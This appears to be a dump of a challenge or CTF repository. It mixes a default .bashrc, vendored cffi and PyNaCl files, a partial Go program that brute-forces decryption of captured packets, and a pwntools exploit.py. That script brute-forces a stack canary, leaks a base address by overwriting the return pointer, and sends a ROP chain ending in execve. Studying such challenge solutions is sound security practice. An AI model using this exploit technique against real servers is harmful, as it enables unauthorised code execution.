anything 6 | case $- in 7 | *i*) ;; 8 | *) return;; 9 | esac 10 | 11 | # don't put duplicate lines or lines starting with space in the history. 12 | # See bash(1) for more options 13 | HISTCONTROL=ignoreboth 14 | 15 | # append to the history file, don't overwrite it 16 | shopt -s histappend 17 | 18 | # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) 19 | HISTSIZE=1000 20 | HISTFILESIZE=2000 21 | 22 | # check the window size after each command and, if necessary, 23 | # update the values of LINES and COLUMNS. 24 | shopt -s checkwinsize 25 | 26 | # If set, the pattern "**" used in a pathname expansion context will 27 | # match all files and zero or more directories and subdirectories. 28 | #shopt -s globstar 29 | 30 | # make less more friendly for non-text input files, see lesspipe(1) 31 | [ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)" 32 | 33 | # set variable identifying the chroot you work in (used in the prompt below) 34 | if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then 35 | debian_chroot=$(cat /etc/debian_chroot) 36 | fi 37 | 38 | # set a fancy prompt (non-color, unless we know we "want" color) 39 | case "$TERM" in 40 | xterm-color|*-256color) color_prompt=yes;; 41 | esac 42 | 43 | # uncomment for a colored prompt, if the terminal has the capability; turned 44 | # off by default to not distract the user: the focus in a terminal window 45 | # should be on the output of commands, not on the prompt 46 | #force_color_prompt=yes 47 | 48 | if [ -n "$force_color_prompt" ]; then 49 | if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then 50 | # We have color support; assume it's compliant with Ecma-48 51 | # (ISO/IEC-6429). (Lack of such support is extremely rare, and such 52 | # a case would tend to support setf rather than setaf.) 53 | color_prompt=yes 54 | else 55 | color_prompt= 56 | fi 57 | fi 58 | 59 | if [ "$color_prompt" = yes ]; then 60 | PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' 61 | else 62 | PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' 63 | fi 64 | unset color_prompt force_color_prompt 65 | 66 | # If this is an xterm set the title to user@host:dir 67 | case "$TERM" in 68 | xterm*|rxvt*) 69 | PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1" 70 | ;; 71 | *) 72 | ;; 73 | esac 74 | 75 | # enable color support of ls and also add handy aliases 76 | if [ -x /usr/bin/dircolors ]; then 77 | test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" 78 | alias ls='ls --color=auto' 79 | #alias dir='dir --color=auto' 80 | #alias vdir='vdir --color=auto' 81 | 82 | alias grep='grep --color=auto' 83 | alias fgrep='fgrep --color=auto' 84 | alias egrep='egrep --color=auto' 85 | fi 86 | 87 | # colored GCC warnings and errors 88 | #export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01' 89 | 90 | # some more ls aliases 91 | alias ll='ls -alF' 92 | alias la='ls -A' 93 | alias l='ls -CF' 94 | 95 | # Add an "alert" alias for long running commands. Use like so: 96 | # sleep 10; alert 97 | alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"' 98 | 99 | # Alias definitions. 100 | # You may want to put all your additions into a separate file like 101 | # ~/.bash_aliases, instead of adding them here directly. 102 | # See /usr/share/doc/bash-doc/examples in the bash-doc package. 103 | 104 | if [ -f ~/.bash_aliases ]; then 105 | . ~/.bash_aliases 106 | fi 107 | 108 | # enable programmable completion features (you don't need to enable 109 | # this, if it's already enabled in /etc/bash.bashrc and /etc/profile 110 | # sources /etc/bash.bashrc). 111 | if ! shopt -oq posix; then 112 | if [ -f /usr/share/bash-completion/bash_completion ]; then 113 | . /usr/share/bash-completion/bash_completion 114 | elif [ -f /etc/bash_completion ]; then 115 | . /etc/bash_completion 116 | fi 117 | fi 118 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/_cffi_errors.h: -------------------------------------------------------------------------------- 1 | #ifndef CFFI_MESSAGEBOX 2 | # ifdef _MSC_VER 3 | # define CFFI_MESSAGEBOX 1 4 | # else 5 | # define CFFI_MESSAGEBOX 0 6 | # endif 7 | #endif 8 | 9 | 10 | #if CFFI_MESSAGEBOX 11 | /* Windows only: logic to take the Python-CFFI embedding logic 12 | initialization errors and display them in a background thread 13 | with MessageBox. The idea is that if the whole program closes 14 | as a result of this problem, then likely it is already a console 15 | program and you can read the stderr output in the console too. 16 | If it is not a console program, then it will likely show its own 17 | dialog to complain, or generally not abruptly close, and for this 18 | case the background thread should stay alive. 19 | */ 20 | static void *volatile _cffi_bootstrap_text; 21 | 22 | static PyObject *_cffi_start_error_capture(void) 23 | { 24 | PyObject *result = NULL; 25 | PyObject *x, *m, *bi; 26 | 27 | if (InterlockedCompareExchangePointer(&_cffi_bootstrap_text, 28 | (void *)1, NULL) != NULL) 29 | return (PyObject *)1; 30 | 31 | m = PyImport_AddModule("_cffi_error_capture"); 32 | if (m == NULL) 33 | goto error; 34 | 35 | result = PyModule_GetDict(m); 36 | if (result == NULL) 37 | goto error; 38 | 39 | #if PY_MAJOR_VERSION >= 3 40 | bi = PyImport_ImportModule("builtins"); 41 | #else 42 | bi = PyImport_ImportModule("__builtin__"); 43 | #endif 44 | if (bi == NULL) 45 | goto error; 46 | PyDict_SetItemString(result, "__builtins__", bi); 47 | Py_DECREF(bi); 48 | 49 | x = PyRun_String( 50 | "import sys\n" 51 | "class FileLike:\n" 52 | " def write(self, x):\n" 53 | " try:\n" 54 | " of.write(x)\n" 55 | " except: pass\n" 56 | " self.buf += x\n" 57 | "fl = FileLike()\n" 58 | "fl.buf = ''\n" 59 | "of = sys.stderr\n" 60 | "sys.stderr = fl\n" 61 | "def done():\n" 62 | " sys.stderr = of\n" 63 | " return fl.buf\n", /* make sure the returned value stays alive */ 64 | Py_file_input, 65 | result, result); 66 | Py_XDECREF(x); 67 | 68 | error: 69 | if (PyErr_Occurred()) 70 | { 71 | PyErr_WriteUnraisable(Py_None); 72 | PyErr_Clear(); 73 | } 74 | return result; 75 | } 76 | 77 | #pragma comment(lib, "user32.lib") 78 | 79 | static DWORD WINAPI _cffi_bootstrap_dialog(LPVOID ignored) 80 | { 81 | Sleep(666); /* may be interrupted if the whole process is closing */ 82 | #if PY_MAJOR_VERSION >= 3 83 | MessageBoxW(NULL, (wchar_t *)_cffi_bootstrap_text, 84 | L"Python-CFFI error", 85 | MB_OK | MB_ICONERROR); 86 | #else 87 | MessageBoxA(NULL, (char *)_cffi_bootstrap_text, 88 | "Python-CFFI error", 89 | MB_OK | MB_ICONERROR); 90 | #endif 91 | _cffi_bootstrap_text = NULL; 92 | return 0; 93 | } 94 | 95 | static void _cffi_stop_error_capture(PyObject *ecap) 96 | { 97 | PyObject *s; 98 | void *text; 99 | 100 | if (ecap == (PyObject *)1) 101 | return; 102 | 103 | if (ecap == NULL) 104 | goto error; 105 | 106 | s = PyRun_String("done()", Py_eval_input, ecap, ecap); 107 | if (s == NULL) 108 | goto error; 109 | 110 | /* Show a dialog box, but in a background thread, and 111 | never show multiple dialog boxes at once. */ 112 | #if PY_MAJOR_VERSION >= 3 113 | text = PyUnicode_AsWideCharString(s, NULL); 114 | #else 115 | text = PyString_AsString(s); 116 | #endif 117 | 118 | _cffi_bootstrap_text = text; 119 | 120 | if (text != NULL) 121 | { 122 | HANDLE h; 123 | h = CreateThread(NULL, 0, _cffi_bootstrap_dialog, 124 | NULL, 0, NULL); 125 | if (h != NULL) 126 | CloseHandle(h); 127 | } 128 | /* decref the string, but it should stay alive as 'fl.buf' 129 | in the small module above. It will really be freed only if 130 | we later get another similar error. So it's a leak of at 131 | most one copy of the small module. That's fine for this 132 | situation which is usually a "fatal error" anyway. */ 133 | Py_DECREF(s); 134 | PyErr_Clear(); 135 | return; 136 | 137 | error: 138 | _cffi_bootstrap_text = NULL; 139 | PyErr_Clear(); 140 | } 141 | 142 | #else 143 | 144 | static PyObject *_cffi_start_error_capture(void) { return NULL; } 145 | static void _cffi_stop_error_capture(PyObject *ecap) { } 146 | 147 | #endif 148 | -------------------------------------------------------------------------------- /task10/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host localhost --port 8080 5 | from pwn import * 6 | from time import sleep 7 | import os 8 | 9 | # Set up pwntools for the correct architecture 10 | context.update(arch='i386') 11 | context.log_level = 'critical' 12 | exe = './path/to/binary' 13 | 14 | # Many built-in settings can be controlled on the command-line and show up 15 | # in "args". For example, to dump all data sent/received, and disable ASLR 16 | # for all created processes... 17 | # ./exploit.py DEBUG NOASLR 18 | # ./exploit.py GDB HOST=example.com PORT=4141 19 | host = args.HOST or 'localhost' 20 | port = int(args.PORT or 8080) 21 | 22 | def start_local(argv=[], *a, **kw): 23 | '''Execute the target binary locally''' 24 | if args.GDB: 25 | return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) 26 | else: 27 | return process([exe] + argv, *a, **kw) 28 | 29 | def start_remote(argv=[], *a, **kw): 30 | '''Connect to the process on the remote host''' 31 | io = connect(host, port) 32 | if args.GDB: 33 | gdb.attach(io, gdbscript=gdbscript) 34 | return io 35 | 36 | def start(argv=[], *a, **kw): 37 | '''Start the exploit against the target.''' 38 | if args.LOCAL: 39 | return start_local(argv, *a, **kw) 40 | else: 41 | return start_remote(argv, *a, **kw) 42 | 43 | # Specify your GDB script here for debugging 44 | # GDB will be launched if the exploit is run via e.g. 45 | # ./exploit.py GDB 46 | gdbscript = ''' 47 | continue 48 | '''.format(**locals()) 49 | 50 | #=========================================================== 51 | # EXPLOIT GOES HERE 52 | #=========================================================== 53 | 54 | # canary brute-force 55 | canary = b'' 56 | i = 0 57 | while True: 58 | print(i, end='') 59 | if len(canary) == 8: 60 | break 61 | io = start() 62 | io.send(b'Content-Length: -1\r\n\r\n') 63 | io.send(b'a' * 4095) 64 | sleep(0.05) 65 | io.send(b'b' + cyclic(8) + canary + p8(i)) 66 | io.recvall() 67 | io.close() 68 | sleep(0.05) 69 | with open('ps_server.log', 'r') as f: 70 | lines = f.readlines() 71 | if lines[-1][-2] == '0': 72 | print(lines[-1]) 73 | canary += p8(i) 74 | print("canary:", canary) 75 | i = -1 76 | i += 1 77 | 78 | # address leak 79 | io = start() 80 | io.send(b'Content-Length: -1\r\n\r\n') 81 | # receive limit - 1 82 | io.send(b'a' * 4095) 83 | # sleep so recv() returns and goes through loop 84 | sleep(0.5) 85 | # last byte of return pointer overwritten with 0xbe 86 | # jumps to function that leaks addresses to log file 87 | io.send(b'b' + cyclic(8) + canary + cyclic(24) + b'\xbe') 88 | io.close() 89 | 90 | # sleep for a little bit so the write can finish 91 | sleep(3) 92 | 93 | # open log and read leaked address 94 | with open('ps_data.log', 'rb') as f: 95 | x = f.readlines()[-1] 96 | 97 | print(bytes.hex(x)) 98 | addr_start = x.find(b'a' * 512 + b'h') + 512 99 | addr_string = x[addr_start:addr_start+8] 100 | addr = u64(addr_string) 101 | base_addr = addr - 0x00120e68 102 | print(hex(base_addr)) 103 | 104 | # use address to calculate rop gadget addresses 105 | pop_rdi = base_addr + 0x00108876 106 | pop_rsi = base_addr + 0x0011a533 107 | pop_rdx = base_addr + 0x0011cca2 108 | pop_rax = base_addr + 0x0010877f 109 | syscall = base_addr + 0x0010a14c 110 | sprintf = base_addr + 0x00108430 111 | 112 | # location to build filename 113 | buf = base_addr + 0x3e93c0 114 | # "/tmp" string 115 | arg1 = base_addr + 0x1bfaa0 116 | 117 | io = start() 118 | io.send(b'Content-Length: -1\r\n\r\n') 119 | io.send(b'a' * 4095) 120 | sleep(0.5) 121 | io.send(b'b' + 122 | cyclic(8) + 123 | canary + 124 | cyclic(24) + 125 | # write /tmp to buf 126 | p64(pop_rdi) + 127 | p64(buf) + 128 | p64(pop_rsi) + 129 | p64(arg1) + 130 | p64(pop_rdx) + 131 | p64(4) + 132 | p64(sprintf) + 133 | # write /tmp to buf + 4 134 | p64(pop_rdi) + 135 | p64(buf + 4) + 136 | p64(pop_rsi) + 137 | p64(arg1) + 138 | p64(pop_rdx) + 139 | p64(4) + 140 | p64(sprintf) + 141 | # syscall 142 | p64(pop_rdi) + # start syscall 143 | p64(buf) + 144 | p64(pop_rsi) + 145 | p64(0) + 146 | p64(pop_rdx) + 147 | p64(0) + 148 | p64(pop_rax) + 149 | p64(0x3b) + # execve 150 | p64(syscall)) 151 | io.close() 152 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/ffiplatform.py: -------------------------------------------------------------------------------- 1 | import sys, os 2 | from .error import VerificationError 3 | 4 | 5 | LIST_OF_FILE_NAMES = ['sources', 'include_dirs', 'library_dirs', 6 | 'extra_objects', 'depends'] 7 | 8 | def get_extension(srcfilename, modname, sources=(), **kwds): 9 | _hack_at_distutils() 10 | from distutils.core import Extension 11 | allsources = [srcfilename] 12 | for src in sources: 13 | allsources.append(os.path.normpath(src)) 14 | return Extension(name=modname, sources=allsources, **kwds) 15 | 16 | def compile(tmpdir, ext, compiler_verbose=0, debug=None): 17 | """Compile a C extension module using distutils.""" 18 | 19 | _hack_at_distutils() 20 | saved_environ = os.environ.copy() 21 | try: 22 | outputfilename = _build(tmpdir, ext, compiler_verbose, debug) 23 | outputfilename = os.path.abspath(outputfilename) 24 | finally: 25 | # workaround for a distutils bugs where some env vars can 26 | # become longer and longer every time it is used 27 | for key, value in saved_environ.items(): 28 | if os.environ.get(key) != value: 29 | os.environ[key] = value 30 | return outputfilename 31 | 32 | def _build(tmpdir, ext, compiler_verbose=0, debug=None): 33 | # XXX compact but horrible :-( 34 | from distutils.core import Distribution 35 | import distutils.errors, distutils.log 36 | # 37 | dist = Distribution({'ext_modules': [ext]}) 38 | dist.parse_config_files() 39 | options = dist.get_option_dict('build_ext') 40 | if debug is None: 41 | debug = sys.flags.debug 42 | options['debug'] = ('ffiplatform', debug) 43 | options['force'] = ('ffiplatform', True) 44 | options['build_lib'] = ('ffiplatform', tmpdir) 45 | options['build_temp'] = ('ffiplatform', tmpdir) 46 | # 47 | try: 48 | old_level = distutils.log.set_threshold(0) or 0 49 | try: 50 | distutils.log.set_verbosity(compiler_verbose) 51 | dist.run_command('build_ext') 52 | cmd_obj = dist.get_command_obj('build_ext') 53 | [soname] = cmd_obj.get_outputs() 54 | finally: 55 | distutils.log.set_threshold(old_level) 56 | except (distutils.errors.CompileError, 57 | distutils.errors.LinkError) as e: 58 | raise VerificationError('%s: %s' % (e.__class__.__name__, e)) 59 | # 60 | return soname 61 | 62 | try: 63 | from os.path import samefile 64 | except ImportError: 65 | def samefile(f1, f2): 66 | return os.path.abspath(f1) == os.path.abspath(f2) 67 | 68 | def maybe_relative_path(path): 69 | if not os.path.isabs(path): 70 | return path # already relative 71 | dir = path 72 | names = [] 73 | while True: 74 | prevdir = dir 75 | dir, name = os.path.split(prevdir) 76 | if dir == prevdir or not dir: 77 | return path # failed to make it relative 78 | names.append(name) 79 | try: 80 | if samefile(dir, os.curdir): 81 | names.reverse() 82 | return os.path.join(*names) 83 | except OSError: 84 | pass 85 | 86 | # ____________________________________________________________ 87 | 88 | try: 89 | int_or_long = (int, long) 90 | import cStringIO 91 | except NameError: 92 | int_or_long = int # Python 3 93 | import io as cStringIO 94 | 95 | def _flatten(x, f): 96 | if isinstance(x, str): 97 | f.write('%ds%s' % (len(x), x)) 98 | elif isinstance(x, dict): 99 | keys = sorted(x.keys()) 100 | f.write('%dd' % len(keys)) 101 | for key in keys: 102 | _flatten(key, f) 103 | _flatten(x[key], f) 104 | elif isinstance(x, (list, tuple)): 105 | f.write('%dl' % len(x)) 106 | for value in x: 107 | _flatten(value, f) 108 | elif isinstance(x, int_or_long): 109 | f.write('%di' % (x,)) 110 | else: 111 | raise TypeError( 112 | "the keywords to verify() contains unsupported object %r" % (x,)) 113 | 114 | def flatten(x): 115 | f = cStringIO.StringIO() 116 | _flatten(x, f) 117 | return f.getvalue() 118 | 119 | def _hack_at_distutils(): 120 | # Windows-only workaround for some configurations: see 121 | # https://bugs.python.org/issue23246 (Python 2.7 with 122 | # a specific MS compiler suite download) 123 | if sys.platform == "win32": 124 | try: 125 | import setuptools # for side-effects, patches distutils 126 | except ImportError: 127 | pass 128 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/PyNaCl-1.4.0.dist-info/RECORD: -------------------------------------------------------------------------------- 1 | nacl/utils.py,sha256=2rL0bIijNgEe7DOMk1-ClaZfoJCQ1NqkksrXP7bDWYU,2166 2 | nacl/_sodium.abi3.so,sha256=yoqlIcLJfPPPBpIaFDUQ_kricoapUJ1dzMU-00JRB1A,3270761 3 | nacl/hash.py,sha256=83tVxKjG_DAZUsHKaKl-_kli7K0wNrV20cZxm4vY620,6164 4 | nacl/hashlib.py,sha256=R2uAL8lfdm_wGwEUcNI92YLyUcFKz9568xZFus7Msps,4197 5 | nacl/exceptions.py,sha256=6-hSnpjbUREnrmI1tZT2XqOBterZ0qoBsMvhCm1W5KQ,2128 6 | nacl/public.py,sha256=-nwQof5ov-wSSdvvoXh-FavTtjfpRnYykZkatNKyLd0,13442 7 | nacl/__init__.py,sha256=F4fZFkZq5_reCDDlQb3NVH_Lc1-K3JmsAQaOnJZPzXc,1170 8 | nacl/encoding.py,sha256=tOiyIQVVpGU6A4Lzr0tMuqomhc_Aj0V_c1t56a-ZtPw,1928 9 | nacl/signing.py,sha256=jtPBhqfiY6JOZ-HlllRjIQ-8w3a0PFe1AyKVRBLlesg,7339 10 | nacl/secret.py,sha256=jf4WuUjnnXTekZ2elGgQozZl6zGzxGY_0Nw0fwehUlg,5430 11 | nacl/pwhash/scrypt.py,sha256=mpx0A2ocNkUiHVMy1qiW4UfSyI3RKxLraqkMXjbg6NI,6731 12 | nacl/pwhash/_argon2.py,sha256=Eu3-juLws3_v1gNy5aeSVPEwuRVFdGOrfeF0wPH9VHA,1878 13 | nacl/pwhash/__init__.py,sha256=_GxfRAjUCQlztdDHOUBbDINC3aJPIha8I-j3HIZE7eU,2720 14 | nacl/pwhash/argon2i.py,sha256=EpheK0UHJvZYca_EMhhOcX5GXaOr0xCjFDTIgmSCSDo,4598 15 | nacl/pwhash/argon2id.py,sha256=IqNm5RQNEd1Z9F-bEWT-_Y9noU26QoTR5YdWONg1uuI,4610 16 | nacl/bindings/crypto_pwhash.py,sha256=TH-oXgrzwnNnBCNR_iPw7TtakVBzmW1kIkJciF8MVdM,18696 17 | nacl/bindings/utils.py,sha256=jOKsDbsjxN9v_HI8DOib72chyU3byqbynXxbiV909-g,4420 18 | nacl/bindings/crypto_hash.py,sha256=7Xp4mpXr4cpn-hAOU66KlYVUCVHP6deT0v_eW4UZZXo,2243 19 | nacl/bindings/crypto_aead.py,sha256=DE5zdi09GeHZxvmrhHtxVuTqF61y1cs8trTGh_6uP8Q,17335 20 | nacl/bindings/crypto_kx.py,sha256=2Gjxu5c7IKAwW2MOJa9zEn1EgpIVQ0tbZQs33REZb38,6937 21 | nacl/bindings/crypto_generichash.py,sha256=a0h-yxZR8fD7AkzaTcXj48pgFrCKVa7Mmer1wj8Az2A,8949 22 | nacl/bindings/crypto_shorthash.py,sha256=PK_h7X2WH_QRKJoSHbsQdhc19TIpFFqXy_wkzRPvpnY,2587 23 | nacl/bindings/randombytes.py,sha256=r93-dAfODRnXAUacx9MXsop-WVZ5xMJJB3xyPkHjQr4,1597 24 | nacl/bindings/crypto_secretstream.py,sha256=FLICuAI6kRM5qNIZbDetZVzLV-7y2dv5Vd1LTpUEhmo,10475 25 | nacl/bindings/__init__.py,sha256=c8Wn3gTCAZSdLMGxVnOuRChvh-8L7DrgBieAUFRqQ8Q,16883 26 | nacl/bindings/crypto_scalarmult.py,sha256=8w9CIMSar2eGR2nwmqQlQdN3z_o7L-P4unGnm9gwkVU,8208 27 | nacl/bindings/crypto_secretbox.py,sha256=luvzB3lwBwXxKm63e9nA2neGtOXeeG8R9SyWEckIqdI,2864 28 | nacl/bindings/crypto_core.py,sha256=7zOeRHS2oBWwI_KB1E4-sRq_ITZGWSUqxI0aT-evPGw,13433 29 | nacl/bindings/crypto_box.py,sha256=VVBRvAACrEARLEZDHOFEp4g0meQWwWXTiCW0npPt0HU,9958 30 | nacl/bindings/crypto_sign.py,sha256=bQc_2VQ4CGttdi9s1hvD5PcqPXFo4ca44dRG-W2kRkc,10617 31 | nacl/bindings/sodium_core.py,sha256=52z0K7y6Ge6IlXcysWDVN7UdYcTOij6v0Cb0OLo8_Qc,1079 32 | PyNaCl-1.4.0.dist-info/RECORD,, 33 | PyNaCl-1.4.0.dist-info/WHEEL,sha256=HAbUOEaMuGu1vSI8bKL7nQShDuU2XC9f79bOtOydX1A,108 34 | PyNaCl-1.4.0.dist-info/top_level.txt,sha256=wfdEOI_G2RIzmzsMyhpqP17HUh6Jcqi99to9aHLEslo,13 35 | PyNaCl-1.4.0.dist-info/METADATA,sha256=VXYKfhj8GTj_EfH7PT_oGHgxCAF7YonQtvn0ApWLbmY,8114 36 | PyNaCl-1.4.0.dist-info/LICENSE,sha256=0xdK1j5yHUydzLitQyCEiZLTFDabxGMZcgtYAskVP-k,9694 37 | PyNaCl-1.4.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 38 | nacl/__pycache__/hashlib.cpython-36.pyc,, 39 | nacl/__pycache__/encoding.cpython-36.pyc,, 40 | nacl/__pycache__/public.cpython-36.pyc,, 41 | nacl/__pycache__/hash.cpython-36.pyc,, 42 | nacl/__pycache__/utils.cpython-36.pyc,, 43 | nacl/__pycache__/exceptions.cpython-36.pyc,, 44 | nacl/__pycache__/secret.cpython-36.pyc,, 45 | nacl/__pycache__/__init__.cpython-36.pyc,, 46 | nacl/__pycache__/signing.cpython-36.pyc,, 47 | nacl/bindings/__pycache__/crypto_aead.cpython-36.pyc,, 48 | nacl/bindings/__pycache__/crypto_scalarmult.cpython-36.pyc,, 49 | nacl/bindings/__pycache__/crypto_kx.cpython-36.pyc,, 50 | nacl/bindings/__pycache__/crypto_shorthash.cpython-36.pyc,, 51 | nacl/bindings/__pycache__/crypto_secretbox.cpython-36.pyc,, 52 | nacl/bindings/__pycache__/utils.cpython-36.pyc,, 53 | nacl/bindings/__pycache__/sodium_core.cpython-36.pyc,, 54 | nacl/bindings/__pycache__/crypto_pwhash.cpython-36.pyc,, 55 | nacl/bindings/__pycache__/crypto_sign.cpython-36.pyc,, 56 | nacl/bindings/__pycache__/randombytes.cpython-36.pyc,, 57 | nacl/bindings/__pycache__/crypto_secretstream.cpython-36.pyc,, 58 | nacl/bindings/__pycache__/crypto_generichash.cpython-36.pyc,, 59 | nacl/bindings/__pycache__/__init__.cpython-36.pyc,, 60 | nacl/bindings/__pycache__/crypto_hash.cpython-36.pyc,, 61 | nacl/bindings/__pycache__/crypto_box.cpython-36.pyc,, 62 | nacl/bindings/__pycache__/crypto_core.cpython-36.pyc,, 63 | nacl/pwhash/__pycache__/argon2i.cpython-36.pyc,, 64 | nacl/pwhash/__pycache__/argon2id.cpython-36.pyc,, 65 | nacl/pwhash/__pycache__/scrypt.cpython-36.pyc,, 66 | nacl/pwhash/__pycache__/_argon2.cpython-36.pyc,, 67 | nacl/pwhash/__pycache__/__init__.cpython-36.pyc,, 68 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/hashlib.py: -------------------------------------------------------------------------------- 1 | # Copyright 2016-2019 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | import binascii 18 | 19 | import nacl.bindings 20 | from nacl.utils import bytes_as_string 21 | 22 | BYTES = nacl.bindings.crypto_generichash_BYTES 23 | BYTES_MIN = nacl.bindings.crypto_generichash_BYTES_MIN 24 | BYTES_MAX = nacl.bindings.crypto_generichash_BYTES_MAX 25 | KEYBYTES = nacl.bindings.crypto_generichash_KEYBYTES 26 | KEYBYTES_MIN = nacl.bindings.crypto_generichash_KEYBYTES_MIN 27 | KEYBYTES_MAX = nacl.bindings.crypto_generichash_KEYBYTES_MAX 28 | SALTBYTES = nacl.bindings.crypto_generichash_SALTBYTES 29 | PERSONALBYTES = nacl.bindings.crypto_generichash_PERSONALBYTES 30 | 31 | SCRYPT_AVAILABLE = nacl.bindings.has_crypto_pwhash_scryptsalsa208sha256 32 | 33 | _b2b_init = nacl.bindings.crypto_generichash_blake2b_init 34 | _b2b_final = nacl.bindings.crypto_generichash_blake2b_final 35 | _b2b_update = nacl.bindings.crypto_generichash_blake2b_update 36 | 37 | 38 | class blake2b(object): 39 | """ 40 | :py:mod:`hashlib` API compatible blake2b algorithm implementation 41 | """ 42 | MAX_DIGEST_SIZE = BYTES 43 | MAX_KEY_SIZE = KEYBYTES_MAX 44 | PERSON_SIZE = PERSONALBYTES 45 | SALT_SIZE = SALTBYTES 46 | 47 | def __init__(self, data=b'', digest_size=BYTES, key=b'', 48 | salt=b'', person=b''): 49 | """ 50 | :py:class:`.blake2b` algorithm initializer 51 | 52 | :param data: 53 | :type data: bytes 54 | :param int digest_size: the requested digest size; must be 55 | at most :py:attr:`.MAX_DIGEST_SIZE`; 56 | the default digest size is :py:data:`.BYTES` 57 | :param key: the key to be set for keyed MAC/PRF usage; if set, 58 | the key must be at most :py:data:`.KEYBYTES_MAX` long 59 | :type key: bytes 60 | :param salt: a initialization salt at most 61 | :py:attr:`.SALT_SIZE` long; it will be zero-padded 62 | if needed 63 | :type salt: bytes 64 | :param person: a personalization string at most 65 | :py:attr:`.PERSONAL_SIZE` long; it will be zero-padded 66 | if needed 67 | :type person: bytes 68 | """ 69 | 70 | self._state = _b2b_init(key=key, salt=salt, person=person, 71 | digest_size=digest_size) 72 | self._digest_size = digest_size 73 | 74 | if data: 75 | self.update(data) 76 | 77 | @property 78 | def digest_size(self): 79 | return self._digest_size 80 | 81 | @property 82 | def block_size(self): 83 | return 128 84 | 85 | @property 86 | def name(self): 87 | return 'blake2b' 88 | 89 | def update(self, data): 90 | _b2b_update(self._state, data) 91 | 92 | def digest(self): 93 | _st = self._state.copy() 94 | return _b2b_final(_st) 95 | 96 | def hexdigest(self): 97 | return bytes_as_string(binascii.hexlify(self.digest())) 98 | 99 | def copy(self): 100 | _cp = type(self)(digest_size=self.digest_size) 101 | _st = self._state.copy() 102 | _cp._state = _st 103 | return _cp 104 | 105 | def __reduce__(self): 106 | """ 107 | Raise the same exception as hashlib's blake implementation 108 | on copy.copy() 109 | """ 110 | raise TypeError("can't pickle {} objects".format( 111 | self.__class__.__name__)) 112 | 113 | 114 | def scrypt(password, salt='', n=2**20, r=8, p=1, 115 | maxmem=2**25, dklen=64): 116 | """ 117 | Derive a cryptographic key using the scrypt KDF. 118 | 119 | :raises nacl.exceptions.UnavailableError: If called when using a 120 | minimal build of libsodium. 121 | 122 | Implements the same signature as the ``hashlib.scrypt`` implemented 123 | in cpython version 3.6 124 | """ 125 | return nacl.bindings.crypto_pwhash_scryptsalsa208sha256_ll( 126 | password, salt, n, r, p, maxmem=maxmem, dklen=dklen) 127 | -------------------------------------------------------------------------------- /task8/brute_force.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "crypto/sha256" 6 | "encoding/hex" 7 | "fmt" 8 | "os" 9 | "runtime" 10 | "strings" 11 | "time" 12 | 13 | "github.com/briandowns/spinner" 14 | "github.com/fatih/color" 15 | "golang.org/x/crypto/nacl/secretbox" 16 | ) 17 | 18 | // Message holds the nonce, ciphertext, and timestamp of an encrypted message. 19 | type Message struct { 20 | Nonce *[24]byte 21 | Ciphertext []byte 22 | Timestamp int 23 | } 24 | 25 | var ( 26 | // username_file holds the username list to try 27 | username_file = "names.txt" 28 | // messages is a global Message slice for sharing messages across goroutines. 29 | messages []Message 30 | // timestamps holds timestamps of the init message from three different listening post sessions. 31 | timestamps = []int{1615897639, 1615897678, 1615897728} 32 | // packets holds hexdumps of packet data from three different listening post sessions. 33 | packets = []string{ 34 | "6ff290588db134c030a69b63d6319c71d2c35af189cdf55da76eb48ecc9b38ab27f0cf897a2448326cb4b448b716d34ffe7cd9fd215eea31933dce9d50cc042f283d2adc06eb8e0d28c135e621f0", 35 | "30ebcf5f20a6d7d06d31c233560d18f13330be17ff8e896c5d61fde2644345cc997c9c627494423b042d545bf6f102a7f10f9b5856c83f49553d1a9cd0661c0d56b435459b046e571f488321f56c", 36 | "f5560af46f120876788160addb65aeb3cf365b038567a0302dcb0b377dd70873087e773db76687ce213db432d12c893437bb93a71900c423d707c118695fbd74bd45a713a2f09e1bff87da54e3e9", 37 | } 38 | ) 39 | 40 | // Populate global messages slice on init. 41 | func init() { 42 | for i, p := range packets { 43 | // Decode packet data. 44 | e, _ := hex.DecodeString(p) 45 | 46 | // Nonce data. 47 | nonce := (*[24]byte)(e[4:28]) 48 | 49 | // Ciphertext data. 50 | ciphertext := e[28:] 51 | 52 | // Create struct and add to messages. 53 | messages = append(messages, Message{ 54 | Nonce: nonce, 55 | Ciphertext: ciphertext, 56 | Timestamp: timestamps[i], 57 | }) 58 | } 59 | } 60 | 61 | 